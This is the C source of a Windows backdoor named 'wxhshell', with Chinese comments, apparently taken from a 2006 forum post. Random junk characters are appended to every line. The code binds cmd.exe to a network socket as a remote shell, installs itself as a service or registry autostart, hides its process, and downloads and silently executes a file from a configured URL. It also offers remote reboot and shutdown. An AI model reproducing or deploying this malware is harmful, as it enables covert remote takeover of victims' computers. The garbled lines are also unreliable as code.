  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HE;}B!>  
  } Kyf,<z F  
  else { !lVOZ %  
'YKzs;y$  
    switch(cmd[0]) { )x!b{5'"7  
  ;u+k! wn  
  // 帮助 86*9GS?U(  
  case '?': { PBeBI:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .tdaj6x  
    break; HT`k-}ho,  
  } ; _ziRy  
  // 安装 Tvd}5~ 5?  
  case 'i': { [P'"|TM[ ~  
    if(Install()) yt'P,m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ 0'j;")XV  
    else syJLcK+e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?*)Q[P5  
    break; e(=() :4is  
    } D6$*#D3U  
  // 卸载 x%v[(*F#y  
  case 'r': { e3 #0r  
    if(Uninstall()) %ER"Udh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a2!U9->!  
    else z4qc)- {L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _Gu;=H,~&  
    break; w4nU86oZYl  
    } w)rd--9f  
  // 显示 wxhshell 所在路径 @%'1Jd7-Wp  
  case 'p': { 5}3#l/  
    char svExeFile[MAX_PATH]; P<%}!Y  
    strcpy(svExeFile,"\n\r"); W\c1QY$E  
      strcat(svExeFile,ExeFile); _o52#Q4   
        send(wsh,svExeFile,strlen(svExeFile),0); \,AE5hnO  
    break; 3 T1,:r  
    } V0l"tr@  
  // 重启 -;:.+1   
  case 'b': { K7 J RCLA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "1l$]= C*  
    if(Boot(REBOOT)) e9=UTn{!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vg-Ah6BC{  
    else { #n7F7X  
    closesocket(wsh); `f[  
    ExitThread(0); EED0U?  
    } :>|dE%/e$  
    break; y+aKk6(_W  
    }  0"F|)  
  // 关机 nO+-o;DbC  
  case 'd': { |AQU\BUj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ao U Pq  
    if(Boot(SHUTDOWN)) 2il`'X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o"V+W  
    else { $a01">q&y  
    closesocket(wsh); QZm7 Q4  
    ExitThread(0); A_\`Gj!s%  
    } 68UfuC  
    break; `0_,>Z  
    } g5C$#<28  
  // 获取shell 5|jsv)M+  
  case 's': { -U{CWn3G  
    CmdShell(wsh); =h@t#-Z"  
    closesocket(wsh); }`$s"Iv@  
    ExitThread(0); _f1;Hhoa  
    break; '5m4kDs  
  } sXi~cfFaE  
  // 退出 dC<2%y  
  case 'x': { #z1/VZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r j.X"  
    CloseIt(wsh); LPeVr^  
    break; [v+5|twxpU  
    } l*$~Y0  
  // 离开 .(&w/jR  
  case 'q': { FVxORQI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -q]5@s/  
    closesocket(wsh); 2lCgUe)N  
    WSACleanup(); b/w5K2  
    exit(1); zIA)se Js  
    break; 3L CT-rp  
        } L)n_  Q  
  } | .gE9'"bv  
  } ``-pjD(t  
\ iA'^69  
  // 提示信息 A"O\u=!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K))P 2ss  
} mKqXB\<  
  } ^;9<7 h[l  
%L|xmx!c  
  return; 95E #  
} R/xT.EQ(N  
js9^~:Tw  
// shell模块句柄 PfsUe,*  
int CmdShell(SOCKET sock) @6 a'p  
{ >WA'/Sl<A<  
STARTUPINFO si; m1e Sn |)7  
ZeroMemory(&si,sizeof(si)); )<f4F!?,A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gN2oUbf8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @uz(h'~  
PROCESS_INFORMATION ProcessInfo; s f.z(o  
char cmdline[]="cmd"; va:<W H  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  )$GCur~  
  return 0; Cw"[$E'J  
} I)kc[/^j$  
=A*a9c2  
// 自身启动模式 ~z\a:+  
int StartFromService(void) 8Vjv #pm  
{ qg/FI#r  
typedef struct Dkx}}E:<  
{ BCuoFw)  
  DWORD ExitStatus; "L;@qCfhO  
  DWORD PebBaseAddress; po(pi|  
  DWORD AffinityMask; $NCR V:J  
  DWORD BasePriority; MGf*+!y,  
  ULONG UniqueProcessId; +w7U7" xQ  
  ULONG InheritedFromUniqueProcessId; |2=@8_am  
}   PROCESS_BASIC_INFORMATION; |@~_&g  
)Ii`/I^  
PROCNTQSIP NtQueryInformationProcess; fk9q3  
73B[|J*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }d>Xh8:%)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D@O5Gd  
_#1EbvO*l  
  HANDLE             hProcess; L/E7xLz  
  PROCESS_BASIC_INFORMATION pbi; t Davp:M1v  
3:G$Y: #P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,6X__Z#rGT  
  if(NULL == hInst ) return 0; NJSbS<O  
o:&8H>(hn]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?lfyC/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  iDx(qdla  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pN)x,<M)  
<CB%e!~.9  
  if (!NtQueryInformationProcess) return 0; &Nh zEl1  
Wx8:GBM$2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F3K<-JK+  
  if(!hProcess) return 0; `zrg?  
aOw#]pB|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Cn{v\Q~.4  
lo1bj*Y2  
  CloseHandle(hProcess); \#]C !JQ  
pY[b[ezb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^eyVEN  
if(hProcess==NULL) return 0; OSfT\8YA  
,(-V<>/*.|  
HMODULE hMod; ~1E!Co  
char procName[255]; .jg@UAK  
unsigned long cbNeeded; 3~7!=s\v  
.zl[nx[9"D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F:d2;  
)-o jm$  
  CloseHandle(hProcess); NMfHrYHbh  
YK[2KTlo  
if(strstr(procName,"services")) return 1; // 以服务启动 sVBr6 !v=  
Mtv{37k~  
  return 0; // 注册表启动 H3*] }=   
} }!{R;,5/n  
\<(EV,m2  
// 主模块 n$XEazUb0N  
int StartWxhshell(LPSTR lpCmdLine) :4-,Ru1C"  
{ iqdU?&.;  
  SOCKET wsl; I]i( B+D  
BOOL val=TRUE; 7y3WV95Z\  
  int port=0; =.CiKV$E  
  struct sockaddr_in door; LGW:+c  
fI`gF^u(  
  if(wscfg.ws_autoins) Install(); l$pz:m]Id  
QuG"]$  
port=atoi(lpCmdLine); 71%$&6  
;/_htdj  
if(port<=0) port=wscfg.ws_port; Y#Q!mbp  
[OTn>/W'  
  WSADATA data; cD6^7QF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W7'<Jom|?  
']>9 /r#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?}v/)hjp=?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 99`w'Nlk  
  door.sin_family = AF_INET; [U",yN]d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 343d`FRa}  
  door.sin_port = htons(port); DO *  
+v 3: \#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Su7N?X!  
closesocket(wsl); K:jn^JN$  
return 1; i!}6FB Z  
} Axns  
2"?DaX  
  if(listen(wsl,2) == INVALID_SOCKET) { SepwMB4@  
closesocket(wsl); bEj}J_#  
return 1; \?R#ZxP@  
} P`{$7ST'Hh  
  Wxhshell(wsl); 14 ,t  
  WSACleanup(); U;WwEta ]  
Q.$Rhjb  
return 0; q`/J2r+O  
W>i%sHH6  
} zG<<MR/<  
tuIZYp8tIN  
// 以NT服务方式启动 ,pI9=e@O/z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p&x!m}!  
{ /+J nEFf  
DWORD   status = 0; Li} 5aK  
  DWORD   specificError = 0xfffffff; &.?E[db"h  
tm5)x^7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `*B0n>ol,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |u?VlRt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1s@QsZ3  
  serviceStatus.dwWin32ExitCode     = 0; 2/r8% Sq  
  serviceStatus.dwServiceSpecificExitCode = 0; ,3 /o7'  
  serviceStatus.dwCheckPoint       = 0; Sx QA*}N  
  serviceStatus.dwWaitHint       = 0; *|g[Mn  
2[Lv_<i|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *l{epum;  
  if (hServiceStatusHandle==0) return; Nj3iZD|  
u%e~a]  
status = GetLastError(); Pb>/b\&JS  
  if (status!=NO_ERROR) YLQ0UeDN'  
{ ws5Ue4g|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z9[TjTH^}T  
    serviceStatus.dwCheckPoint       = 0; WYTqQqQk  
    serviceStatus.dwWaitHint       = 0; qE[YZ(/f0&  
    serviceStatus.dwWin32ExitCode     = status; vs=q<Uw)  
    serviceStatus.dwServiceSpecificExitCode = specificError; "lw|EpQk`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |&JeJ0k>~  
    return; }}$@Tij19[  
  } hBpa"0F  
O# ZZ PJ"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PBb&.<   
  serviceStatus.dwCheckPoint       = 0; 9/29>K_  
  serviceStatus.dwWaitHint       = 0; PjEJ C@n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1J"9Y81   
} g ass Od  
b{ xlW }S  
// 处理NT服务事件,比如:启动、停止 S Dil\x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ebI2gEu;a  
{ >*h+ N? m  
switch(fdwControl) `8W HVC$  
{ Rv9jLH  
case SERVICE_CONTROL_STOP: 9D1WUUa  
  serviceStatus.dwWin32ExitCode = 0; E3O^Tg?j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #O}}pF  
  serviceStatus.dwCheckPoint   = 0; ;\2Z?Kq  
  serviceStatus.dwWaitHint     = 0; x+Xd7N1  
  { aqI"4v]~b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uB.kkkGZ M  
  } k*fU:q1  
  return; I_v}}h{  
case SERVICE_CONTROL_PAUSE: &N/t%q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?=M ?v;8  
  break; 4)8VmCW  
case SERVICE_CONTROL_CONTINUE: zVw5(Tc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |} b+$J  
  break; d6QrB"J`  
case SERVICE_CONTROL_INTERROGATE: Pn">fWRCx  
  break; 0dC5 -/+  
}; Yw3'9m^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $!.>)n  
} '^_u5Y]  
F =e9o*z  
// 标准应用程序主函数 1]2]l*&3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /VT/KT{  
{ ~\CS%thX  
N~O3KG q  
// 获取操作系统版本 4kM/`g6?,q  
OsIsNt=GetOsVer(); !B%em%Tv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2r!ltG3}  
Y)X7*iTi'j  
  // 从命令行安装 E@ U]k$M  
  if(strpbrk(lpCmdLine,"iI")) Install(); bJ!\eI%ld  
JyMk @Y  
  // 下载执行文件 M/Yr0"%Q<.  
if(wscfg.ws_downexe) { [UzD3VPg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~#*C,4m  
  WinExec(wscfg.ws_filenam,SW_HIDE); *pJGp:{6V?  
} ^)gyKl:E'  
8mreHa  
if(!OsIsNt) { o2ggHZe/=@  
// 如果时win9x,隐藏进程并且设置为注册表启动 dyWp'vCQs\  
HideProc(); (CxA5u1|l  
StartWxhshell(lpCmdLine); :uo1QavO@,  
} $gBQ5Wd  
else R}=5:)%w  
  if(StartFromService()) ?ZRF]\dP]  
  // 以服务方式启动 p5fr}#en  
  StartServiceCtrlDispatcher(DispatchTable); :'Qiwf&  
else eA4:]A"  
  // 普通方式启动 +Ua|0>?  
  StartWxhshell(lpCmdLine); F$?Ab\#B  
;yt6Yp.6e  
return 0; ?N<My& E  
}
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只看该作者 1 发表于: 2006-10-10
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